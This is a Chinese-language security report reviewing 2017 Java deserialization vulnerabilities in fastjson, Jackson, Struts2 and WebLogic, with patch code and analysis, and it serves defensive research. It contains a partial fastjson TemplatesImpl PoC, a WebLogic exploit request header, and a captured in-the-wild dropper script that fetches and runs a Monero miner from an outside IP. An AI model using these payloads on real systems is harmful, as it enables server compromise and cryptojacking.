作者:廖新喜

背景

2017年OWASP發布了新的十大web漏洞威脅,其中A8:2017就是不安全的反序列化,A9:2017-使用含有已知漏洞的組件也和反序列化緊密相連,這是因為在Java開發中很多代碼都依賴于第三方組件,而這些組件可能會存在反序列漏洞,典型的例子就是Jackson,fastjson,XStream,XMLDecoder等開源組件。序列化是對象轉換成二進制,json,xml等存儲格式。而反序列化恰好相反,則是將二進制,json,xml轉換成相應的類。

在2017年綠盟科技NS-SRC 處理的漏洞應急中就有很大一部分是反序列化漏洞,下面我們來一一分析2017年我們應急的那些反序列化漏洞。

總得來說,2017年出現的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一樣,在以往都是由于Java自身的反序列特征導致的漏洞,2017年則多了fastjson,Jackson等,這兩個庫都能將json文本轉換成具體的java bean,在這個轉換過程中會調用相應的setter方法和getter方法從而導致遠程代碼執行。2017年還出現關于XMLDecoder和XStream的應急,都是因為依賴問題導致的缺陷。

本報告重點回顧2017年綠盟科技重點應急,影響面非常廣的那些反序列化漏洞。從這個報告中能看出反序列化漏洞的發展,攻擊方和防御方不停的對抗過程,bypass和反bypass在這個過程中體現得淋漓盡致。

概述

應急路線

從3月份爆出Fastjson的反序列化特性導致的遠程代碼執行,四月份則是Jackson,Log4j2,Jenkins的反序列化造成的遠程代碼執行,接著6月份流出了Weblogic CVE-2017-3248的利用代碼。稍微消停了一會,Struts2又被安全研究人員盯上,爆出Struts2-052,又是一個遠程代碼執行。在11月份,由于Jackson官方對漏洞不敏感,接著又被曝CVE-2017-15095,又一個繞過。進入12月份,Fastjson和Jackson相繼發布了幾個補丁修復那些黑名單的繞過;Weblogic XMLDecoder(CVE-2017-10352)的漏洞被廣泛應用于于挖坑。由于很多漏洞都是遠程代碼執行,有的一個HTTP POST請求就能getshell,所以備受黑產親睞。

反序列化漏洞

1 fastjson反序列化漏洞

2017年3月15日,fastjson官方發布安全公告表示fastjson在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。fastjson官方建議直接升級到1.2.28/1.2.29或者更新版本來保證系統安全。4月29日,本文作者綠盟科技安全研究員廖新喜(xxlegend)構造出了Fastjson的反序列漏洞的PoC,引起了安全圈的廣泛討論。詳細的分析可參照1,下面做簡單的回顧。

1.1 補丁

在ParserConfig.java中添加了checkAutoType,不論用戶是否開啟了autoTypeSupport功能,在類名被加載時都需要通過額外的一層處理(來判斷是否在acceptlist里),只有滿足了此限制的類名才會被加載。另外引入了黑名單機制,在開啟了autoTypeSupport的情況下,如果加載的是黑名單中類也會拋出異常。補丁核心代碼如下:

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
         if (typeName == null) {
             return null;
         }
         if (typeName.length() >= maxTypeNameLength) {
             throw new JSONException("autoType is not support. " + typeName);
         }
         final String className = typeName.replace('$', '.');
         if (autoTypeSupport || expectClass != null) {
             for (int i = 0; i < acceptList.length; ++i) {
                 String accept = acceptList[i];
                 if (className.startsWith(accept)) {
                     return TypeUtils.loadClass(typeName, defaultClassLoader);
                 }
             }
             for (int i = 0; i < denyList.length; ++i) {
                 String deny = denyList[i];
                 if (className.startsWith(deny)) {
                     throw new JSONException("autoType is not support. " + typeName);
                 }
             }
         }
         Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
         if (clazz == null) {
             clazz = deserializers.findClass(typeName);
         }
         if (clazz != null) {
             if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                 throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
             }
             return clazz;
         }
1.2 初略分析

靜態分析得知,要構造一個可用的poc,肯定得引入denyList的庫。這里我們就引入com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類。

 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
         String text1 = "{\"@type\":\"" + NASTY_CLASS +
                 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                 "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
         System.out.println(text1);

         Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

最核心的部分是_bytecodes,它是要執行的代碼,@type是指定的解析類,fastjson會根據指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化。_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,這沒關系,我們設置_tfactory為{ },fastjson會調用其無參構造函數得_tfactory對象,這樣就解決了某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。整個PoC的執行過程的調用棧如下:

JSON.parseObject
 ...
 JavaBeanDeserializer.deserialze
 ...
 FieldDeserializer.setValue
 ...
 TemplatesImpl.getOutputProperties
 TemplatesImpl.newTransformer
 TemplatesImpl.getTransletInstance
 ...
 Runtime.getRuntime().exec

更多的原理分析可見2 。

1.3 后續官方修補

fastjson官方后續又添加了一些補丁,本文作者給fastjson官方提交了兩次繞過,fastjson官方都發布了相應更新。具體如下:

  1. fastjson-1.2.34版本發布,當autoType=true時增強安全防護
  2. fastjson-1.2.42版本發布 Bug修復安全加固
  3. fastjson-1.2.43版本發布 Bug修復安全加固
  4. fastjson-1.2.44版本發布 Bug修復安全加固

在fastjson-1.2.42版本中通過異或操作混淆了其黑名單,可以阻擋一部分人分析其黑名單內容,其實這是自欺欺人的。具體的黑名單分析讀者可以自行研究。

2 Jackson反序列化

Jackson是一個開源的Java序列化與反序列化工具,可以將java對象序列化為xml或json格式的字符串,或者反序列化回對應的對象,由于其使用簡單,速度較快,且不依靠除JDK外的其他庫,被眾多用戶所使用。但是其組件Jackson-databind可以指定特定的反序列化類,這樣就存在代碼執行的風險。

2.1 CVE-2017-7525

這個CVE是本文作者報告的。下面來看一個Jackson官方的補丁,這個補丁主要是將TemplatesImpl加入了黑名單,從后續的CVE就可以看出這是遠遠不夠的,可以通過各種方式繞過。

+    protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
 +            BeanDescription beanDesc)
 +        throws JsonMappingException
 +    {
 +        // There are certain nasty classes that could cause problems, mostly
 +        // via default typing -- catch them here.
 +        Class<?> raw = type.getRawClass();
 +        String name = raw.getSimpleName();
 +
 +        if ("TemplatesImpl".equals(name)) { // [databind#1599]
 +            if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
 +                throw JsonMappingException.from(ctxt,
 +                        String.format("Illegal type (%s) to deserialize: prevented for security reasons",
 +                                name));
 +            }
 +        }
 +    }
  }
2.1.1 分析

Jackson在反序列的過程中,首先掃描輸入的json文件,分析其要反序列的類,通過反射的方式獲取該類的構造方法,包括無參構造方法和有參構造方法,獲取其setter,getter方法用于操作具體的類的屬性。反序列的過程就是先通過反射得到一個實例,通過其setter或者getter方法給該實例的屬性賦值,當然如果引入的類的setter方法或者getter方法中存在執行一些一些危險的操作,如利用rmi遠程加載類則會造成遠程代碼執行缺陷。PoC示例圖

詳細分析可參考3。

2.2 后續官方修補

CVE-2017-15095是CVE-2017-7525的延續,這個漏洞同樣也是本文作者報告的。同樣是黑名單的繞過。

CVE-2017-17485是CVE-2017-7525的延續,這個漏洞引入的類是org.springframework.context.support.ClassPathXmlApplicationContext,利用這個庫的bean重新生成類,而這個bean所依賴的xml是由攻擊者來定制的。從這里也可以看出黑名單就是個無底洞,深不可見,bypass也是不完。由于Jackson的特性,可以預測,Jackson在2018年還將出現更多的繞過。

3 Struts2

struts2號稱漏洞之王,2017應急中就處理了S2-045,S2-046,S2-48,S2-052,S2-055,都是遠程代碼執行級別的漏洞。S2-045的PoC現在還被黑客用于各種漏洞掃描,挖礦。既然是漏洞之王,那自然少不了反序列化,S2-052(CVE-2017-9805)就是XStream使用不當造成的反序列化。S2-055則是由于Jackson-databind導致的反序列化。這兩個漏洞的典型特點都是不恰當的使用第三方庫導致的。

3.1 S2-052分析

根據官方的描述信息來看,是REST插件使用到XStreamHandler處理xml數據的時候,由于未對xml數據做任何過濾,在進行反序列將xml數據轉換成Object時導致的RCE。

3.1.1 補丁

補丁的核心部分如下:

+    protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
  +        stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
  +        if (invocation.getAction() instanceof ModelDriven) {
  +            stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
  +        }
  +        stream.addPermission(NullPermission.NULL);
  +        stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
  +        stream.addPermission(ArrayTypePermission.ARRAYS);
  +        stream.addPermission(CollectionTypePermission.COLLECTIONS);
  +        stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
  +    }

主要就是將xml中的數據白名單化,把Collection和Map,一些基礎類,時間類放在白名單中,這樣就能阻止XStream反序列化的過程中帶入一些有害類。

3.1.2 分析

首先分析入口文件,在Struts2的配置文件中有如下xml描述信息:

<beantype="org.apache.struts2.rest.handler.ContentTypeHandler"name="xml"class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constantname="struts.action.extension"value="xhtml,,xml,json"/>

也就是說ContentType為xml的所有請求都會交給XStreamHandler來處理,XStreamHanler.toObject調用了XStream.fromXml來處理那些請求中的xml信息,從而進入反序列化流程。

這里面最有意思的應該是官方給的臨時緩解措施不起作用,官方給出的緩解措施<constant name=”struts.action.extension” value=”xhtml,,,json” />,從字面意思也能看出來,這個是針對action的后綴的,也就是說如果后綴不帶xml也就可以繞過。而POST請求一般不帶xml后綴直接忽視這個緩解措施。下圖就是一個示例:

所以說Struts的官方也是根據PoC修漏洞,沒完全測試過的東西就直接放出來。XStream只跟Content-Type有關,如果Content-Type中含有xml,則會交給XStream處理,更多的詳情分析見4

3.2 S2-055分析

2017年12月1日,Apache Struts發布最新的安全公告,Apache Struts 2.5.x REST插件存在遠程代碼執行的中危漏洞,漏洞編號與CVE-2017-7525相關。漏洞的成因是由于使用的Jackson版本過低在進行JSON反序列化的時候沒有任何類型過濾導致遠程代碼執行。當然官方說的影響是未知,其實這里是遠程代碼執行。

S2-055補丁

沒有提供補丁,只是提醒升級Jackson庫版本。

S2-055分析

為了讓Jackson支持多態,Jackson官方提供了幾種方式,第一種全局Default Typing機制,第二種為相應的class添加@JsonTypeInfo注解。這里會啟用第二種方式,在第二種方式中,大體代碼如下:

@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
     public Object clientName;

在clientName上方添加注解,打開支持多態的特性,這樣我們就能指定clientName的類型;另一個是將clientName的類型改為Object類型,這樣就避免了類型不匹配或者不是其子類的錯誤。

另外Jackson不是默認句柄,需要設置ContentTypeHandler,這樣當Content-Type為application/json格式的請求都交給了JcaksonLibHandler來處理。具體的PoC就是Jackson的PoC,這里不再展示,詳情分析見5。這個漏洞和S2-052非常類似,都是引用的第三方庫存在缺陷導致的漏洞,這樣的案例數不勝數,在Java生態中簡直就是一個災難,第三方依賴實在太多。

4 Weblogic

在2017年,整個Oracle的產品線都深受反序列化影響,其中Weblogic影響面尤其廣泛,很多漏洞的CVSS評分都是9.8,9.9甚至為10.

而且CVE-2017-3248的PoC已經在github上,并且被用于黑產,CVE-2017-10352 PoC也被泄露同樣被用于黑產。

4.1 CVE-2017-3248 分析

這個漏洞(CVE-2017-3248)就是利用rmi機制的缺陷,通過JRMP協議達到執行任意反序列化payload的目的。利用步驟可以分為兩步,第一步建立JRMP監聽端口,第二步執行反序列化操作,其反序列化內容指向外部的JRMP監聽端口,這樣在反序列的過程中就會從遠程JRMP監聽端口加載內容并執行序列化操作,詳細的利用工具可以使用ysoserial。

4.2 CVE-2017-10352 分析

這個漏洞是由于XMLDecoder這個缺陷庫存在代碼執行問題,同樣也是由于被黑產利用而被大家廣泛得知。其實在CVE-2017-3506中,Weblogic官方已經做了一次修補,只是當時的修補不夠徹底,后來有研究員給Weblogic提供了繞過的PoC,Weblogic官方再次完整修補。同時這個PoC也被泄露,非常多的用戶中招。

4.2.1 補丁

補丁的核心代碼如下:

private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try {
       SAXParser parser = factory.newSAXParser();
       parser.parse(is, new DefaultHandler() {
          private int overallarraylength = 0;
          public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
             if(qName.equalsIgnoreCase("object")) {
                throw new IllegalStateException("Invalid element qName:object");
             } else if(qName.equalsIgnoreCase("new")) {
                throw new IllegalStateException("Invalid element qName:new");
             } else if(qName.equalsIgnoreCase("method")) {
                throw new IllegalStateException("Invalid element qName:method");
             } else {
                if(qName.equalsIgnoreCase("void")) {
                   for(int attClass = 0; attClass &lt; attributes.getLength(); ++attClass) {
                      if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                         throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                      }
                   }
                }
                if(qName.equalsIgnoreCase("array")) {
                   String var9 = attributes.getValue("class");
                   if(var9 != null &amp;&amp; !var9.equalsIgnoreCase("byte")) {
                      throw new IllegalStateException("The value of class attribute is not valid for array element.");
                   }

這個補丁限定了object,new,method,void,array等字段,就限定了不能生成java 實例。

4.2.2 分析

根據補丁大概就得就能猜出相應的PoC,具體如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml






              。。。。

在動態調試過程中這個調用棧非常深,我們簡單解釋一下關鍵的幾個部位,首先是WorkContextServerTube.java中processRequest方法,主要功能就是分割整個xml,抽取真正執行的xml交給readHeadOld方法,也就是請求中soapenv:Header包裹的部分,這一部分最終會交給XMLDecoder,XMLDecoder完成數據到對象的轉換,即會執行惡意代碼。并且wls-wsat是一個特權應用,無需用戶名密碼驗證,所以危害非常大。

更多詳情分析可參考文檔 6 , 同時綠盟科技這篇報告的英文版還被Java-Deserialization-Cheat-Sheet收錄。

4.2.3 黑產利用

在綠盟的IPS設備或者蜜罐設備就能看到很多這種利用Weblogic XMLDecoder(CVE-2017-10352)進行黑產利用的特征,下面是綠盟IPS抓到的示例,具體如下:

srcip為173.212.217.181

 POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:

對于linux系統會去191.101.180.74下載一個bash腳本執行挖坑行為(門羅幣)。這個robots.txt的核心內容如下:

wget -q http://45.123.190.178/Silence -O /tmp/Silence
 curl -o /tmp/Silence http://45.123.190.178/Silence
 else
 exit 0;
 fi
 chmod +x /tmp/Silence
 nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &amp;&gt;&gt;/dev/null &amp;
 sleep 10
 rm -rf /tmp/Silence

對srcip:173.212.217.181溯源跟蹤,從綠盟科技威脅情報中心NTI中的數據也能看出,該IP從2017年8月份開始,一直被用于特定漏洞掃描以便發現更多具有脆弱性的主機。

總結

從OWASP 2017 top ten報告中可以看出反序列化是一個業內都開始關注重視的漏洞類型,一個原因就是該漏洞很多時候都是通過黑名單的方式的修復,這就導致了層出不窮的繞過,從Jackson,fastjson,weblogic一見端倪,都是修復,繞過,再修復,再繞過,沒有盡頭。另外一個原因就是該漏洞的危害非常大,通常都是RCE,一個PoC直接獲取系統權限,不管是黑產,灰產,開發,運維還有白帽安全人員都非常重視該類型的漏洞。從系統的重要性來看,國內很多商業系統都是基于Java框架開發,這些中間件或者Web容器一旦出現漏洞,整個系統都變得不堪一擊,可能造成不可挽回的影響。

對于反序列漏洞的防御,業內也是一個難題,首先得確保所有的依賴庫和容器已經更新到最新版本,這樣能防止已知漏洞的攻擊。另外綠盟科技的IPS,WAF都已經具備對這些漏洞的防護能力,更多的防護策略請參考綠盟科技下一篇關于反序列化漏洞防御的文檔。

相關鏈接

http://blog.nsfocus.net/tag/fastjson/

http://blog.nsfocus.net/tag/jackson/

http://blog.nsfocus.net/tag/weblogic/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/514/